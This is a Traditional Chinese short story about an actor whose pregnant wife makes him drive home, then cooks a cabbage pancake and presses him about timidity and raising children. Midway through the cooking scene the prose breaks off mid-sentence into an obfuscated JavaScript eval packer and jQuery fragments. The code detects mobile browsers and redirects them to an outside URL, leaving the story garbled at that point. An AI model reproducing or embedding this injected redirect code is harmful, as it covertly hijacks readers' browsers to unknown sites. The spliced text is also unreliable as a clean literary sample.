帕爾克·茵-揚結束了一天的拍攝工作，整個人筋疲力盡地走出片場大門。夕陽餘暉灑落在伊希卡瓦電影廠的招牌上，金紅色的光將那幾個字映照得格外鮮明。他拖著腳步走向停車場，熟悉的黑色轎車已經停在那裡，車窗微微搖下，阿米娜塔·查奧瑞的臉映在暮色中，神情堅定又帶著一絲不容拒絕的威嚴。
「今天你來開車。」阿米娜塔一邊推開副駕駛的門，一邊語氣平穩卻不容置疑地說。
帕爾克愣了一下，下意識皺起眉頭。「為什麼？」
「我將來到懷孕後期的時候不能開車接送你，你現在就要學會自己開車回家。」阿米娜塔語氣裡帶著一股強勢，那種母性與妻子的責任混合在一起，讓人無法反駁。
帕爾克看著方向盤，臉上露出為難的表情，聲音低低的：「這……」
阿米娜塔冷冷一笑，帶著幾分挑釁：「你的駕照都能駕駛大型的客車和貨車，開個小車有什麼困難的？」
「我那是為了參加比金壓卡。」帕爾克嘆了一口氣，解釋道，「駕照到手後，再也沒碰過車。」
「不能總在嬰兒車裡待著，要學會自己爬，還要學會站起來走路，這都是人生必經的過程。」阿米娜塔一字一句說得清楚明白，眼神像是直射進帕爾克的心裡，「更何況，比金壓卡那種卡車競速你都敢參賽，別害怕。」
帕爾克沉默了一會兒，最終點頭，帶著無奈的口吻：「好吧。」
他坐上駕駛座，雙手握住方向盤的時候，掌心有些出汗。他掏出手機，打開「格葛盧地圖」，設定好導航路線。
「每次都走這條路，你記不住嗎？」阿米娜塔斜眼看著他，語氣裡滿是無奈。
「平常都是妳開車，我不管這些的。」帕爾克硬著頭皮回答。
「好吧。」阿米娜塔微微歎息，靠在座椅上。
車子發動，低沉的引擎聲響起。帕爾克緊緊盯著前方，眉頭擰成一條直線，過了片刻，他低聲說：「我對我自己沒有把握，所以我不想因為說話分心導致車禍，所以開車的時候別說話。」
「好的。」阿米娜塔側過頭，默默望著窗外。心裡卻忍不住想：帕爾克雖然生理上是成年人，心理年齡卻還是個孩子，什麼時候能長大啊……
汽車緩緩駛出停車場，進入傍晚繁忙的車流。一路上，帕爾克額頭沁著細汗，手指緊扣著方向盤，眼神死死盯著前方路況。他把注意力集中到極致，每一次轉向都小心翼翼，連油門和煞車都控制得極為謹慎。阿米娜塔雖然坐在一旁，卻能感受到那份緊張如同實體般壓迫在車廂內。
終於，經過半個小時的心驚膽戰，汽車停在他們的家門口。帕爾克鬆了一口氣，額上的汗珠隨著動作滑落下來。他轉頭看向妻子，眼神帶著一點期待。
「表現得很好。」阿米娜塔語氣裡有一絲讚許，卻依舊不失冷靜，「明天早上改為你開車帶著我到電影廠，然後換我自己開車去公司。」
「好的……」帕爾克嘴上答應，但語氣裡仍透著不情願。
「明年就是我懷孕的後期，到時候不能上班，你要自己一個人開車去電影廠。」阿米娜塔接著說，語速平穩，卻像是在宣告一條必須遵守的法令。「還有，想辦法考一個持槍證。」
「諾爾茨州持槍證很難考的。」帕爾克皺眉，語氣裡透著抗拒。
阿米娜塔直視著他，眼神堅決：「你做為軍企職員，雖然不在戰鬥部任職，但可以考軍企槍證，所有州都承認。你們以前的執行長阿蘇卡就是這樣做的。」
帕爾克被堵得說不出話，只能小聲回了一句：「好吧。」
屋外的晚風吹過，街燈一盞盞亮起。車廂裡一片靜默，只有引擎餘溫散發出的輕微震動。這一刻，帕爾克心裡清楚，他的人生，正在一步步被推向一個嶄新的責任之路。
回到家裡，夜幕已經完全降臨，街燈的光暈透過窗簾隱約灑在客廳的木質地板上。阿米娜塔換下外套，將手中提著的小包放在餐桌上，隨即走進廚房。她動作俐落地綁好圍裙，從抽屜裡取出一個潔白的口罩，正準備戴上時，卻聽見帕爾克的聲音在背後響起。
「把口罩戴上，避免油煙味。」帕爾克的語氣一貫謹慎，帶著些許提醒的意味。
阿米娜塔停下動作，回頭望了他一眼，眉毛微微挑起。「每次都這樣，有那個必要嗎？」她的聲音平穩卻隱隱透著不耐。
帕爾克沒有立刻回應，只是輕輕吸了一口氣，目光落在廚房的排風扇上。他知道，烹飪西班牙煎餅這種食物雖然油煙不算重，但終究不是絕對沒有，他的話更多是一種習慣性的囑咐。
阿米娜塔搖了搖頭，最終還是戴上了口罩。她走到冰箱前，打開門，取出一大塊新鮮的捲心菜、幾條翠綠的蔥段，以及事先準備好的薄切五花肉。帕爾克靠在廚房門口，雙手插在口袋裡，安靜地注視著她的一舉一動。
阿米娜塔先將捲心菜放在砧板上，利落地切絲。刀刃與木板的碰撞聲在靜謐的夜晚顯得格外清脆。她切得不快，卻非常均勻，每一條菜絲都纖細整齊。切好的菜絲被輕輕放進大碗裡，散發出清新的氣息。
接著，她將雞蛋打入碗中，加入少許麵粉與水，攪拌成糊。筷子在碗裡旋轉，發出輕輕的摩擦聲。隨著攪拌的進行，空氣中漸漸浮現淡淡的麵香。阿米娜塔低下頭，神情專注，額前的碎髮因為動作微微晃動。
帕爾克在一旁默默注視，心裡暗暗感慨。幾個月前，她還幾乎不會做這些東西，如今卻已經能熟練掌握基本步驟。
阿米娜塔將切好的菜絲與蔥段一同倒進麵糊裡，攪拌均勻。每一次翻動，都能聽見菜絲與麵糊摩擦的聲音，黏稠卻不失流動。她輕輕抬頭，看了帕爾克一眼，似乎在等待他的反應。
帕爾克只是點了點頭，眼神裡帶著一絲肯定。
隨後，阿米娜塔打開平底鍋，倒入少量油，待鍋面泛起微微熱氣時，她將調好的糊倒進鍋中。麵糊與熱油接觸的瞬間，發出「嗤」的一聲，白煙輕輕升起。她迅速用鏟子將麵糊鋪平，壓成圓餅狀，動作乾脆俐落。
帕爾克忍不住開口：「記得翻面的時候小心一點，不要讓邊緣裂開。」
阿米娜塔沒有回答，只是專注地盯著鍋面。過了一會兒，她輕輕抬起鏟子，將餅翻面。動作乾淨俐落，餅在空中輕輕翻轉後穩穩落下，發出沉悶卻令人愉快的聲音。
油香伴隨著蔬菜與麵糊的氣味在廚房裡瀰漫開來。阿米娜塔俯身，用鏟子按壓著餅的邊緣，確保受熱均勻。她眼神裡透著專注，額頭已經微微滲出細汗。
等到餅的兩面都烙成金黃，她將其盛出，放在盤子裡。接著從櫥櫃裡拿出一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324637|132887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罐醬汁，均勻淋在表面，又撒上一層細細的柴魚片。熱氣蒸騰，柴魚片隨著氣流輕輕舞動，像是一場小型的舞會。
帕爾克看著成品，忍不住露出一個小小的笑容。他心裡很清楚，這樣的西班牙煎餅雖然簡單，但其中凝結的心思和努力，卻比任何佳餚都更珍貴。
阿米娜塔摘下口罩，將盤子推到餐桌中央，語氣裡帶著一點挑釁：「怎麼樣？」
帕爾克走過去，拉開椅子坐下，目光仍然停留在那熱氣騰騰的餅上。他輕輕點頭，聲音不高卻真誠：「這一次，很不錯。」
阿米娜塔的嘴角微微上揚，卻沒再多說什麼，只是默默坐下，準備與他一同享用這簡單卻來之不易的晚餐。
餐後，餐桌上還留著剛才用過的盤子，柴魚片的香氣與醬汁的氣味依舊縈繞在空氣裡。帕爾克放下筷子，長長呼了一口氣。他靠在椅背上，雙手交握放在膝上，視線不自覺飄向窗外的夜色。
阿米娜塔緩緩收拾桌上的餐具，動作沉穩，不帶多餘聲音。她將碗盤疊起，放到水槽裡沖洗，手上沾染著溫熱的水珠，臉龐卻依舊冷靜。片刻後，她擦乾雙手，回到餐桌前坐下。燈光映照下，她的眼神專注，像是正要開啟一場重要的對話。
「我覺得，未來，孩子成長的過程中要給予一些適當的磨練，不能太懦弱。」阿米娜塔的聲音穩重而堅決，像是早已經過思索。
帕爾克抬起頭，眉心微微一蹙，語氣裡帶著一絲無奈的嘲弄：「太懦弱？妳這是在說我嗎？」
阿米娜塔的眼神沒有迴避，淡淡地回了一句：「你要覺得是，那就是。」
氣氛頓時停頓下來，只有冰箱運轉的低鳴聲填補著空白。帕爾克沉默了幾秒，終於無聲地笑了笑，那笑容裡沒有多少快樂，更多是一種妥協。他放低聲音說：「好吧，但國內的法律對兒童保護很嚴的，不當的話被褫奪監護權。」
說到這裡，他的眼神閃爍，並非因為真心害怕，而是擔憂一旦處理不當，會失去眼前這個女人。內心深處，他對孩子的渴望並不強烈，甚至可以說是冷淡的，真正不願失去的，是她。
阿米娜塔沒有馬上反駁，而是用手指輕輕敲擊桌面，像在計算節奏。過了幾秒，她才緩緩開口：「我到時候會看相關的法律法規，也會讀一些科學合理訓練兒童的書。孩子需要成長的試煉，但要有界線。」
她的語氣冷靜卻帶著不容動搖的決心，仿佛已經在心裡為未來的孩子鋪設好一條看似嚴格卻清晰的道路。
帕爾克盯著她，眼底閃過一絲苦澀，卻仍舊努力保持語調的平穩：「如果不是因為我瘦小又懦弱的話，妳也看不上我吧？」
這句話像是帶著自嘲，又像是一種無力的挑釁。他的雙手微微攥緊，指節泛白。
阿米娜塔聽見這話，神情沒有太大波動，只是嘴角勾起一抹冷靜的弧度。「那倒是，但我不希望你在別人面前也懦弱。」她說的很直接，沒有絲毫修飾。
她的語調就像一把刀，鋒利卻準確，劃開了帕爾克心裡最柔軟的那塊地方。
客廳裡的燈光依舊柔和，卻壓不住這場對話帶來的沉重感。帕爾克低下頭，眼神落在桌面殘留的柴魚片上，心中暗暗翻湧。他沒有再多說什麼，彷彿陷入一場無聲的辯解，而阿米娜塔則靜靜看著他，像是在等待他下一次的覺醒。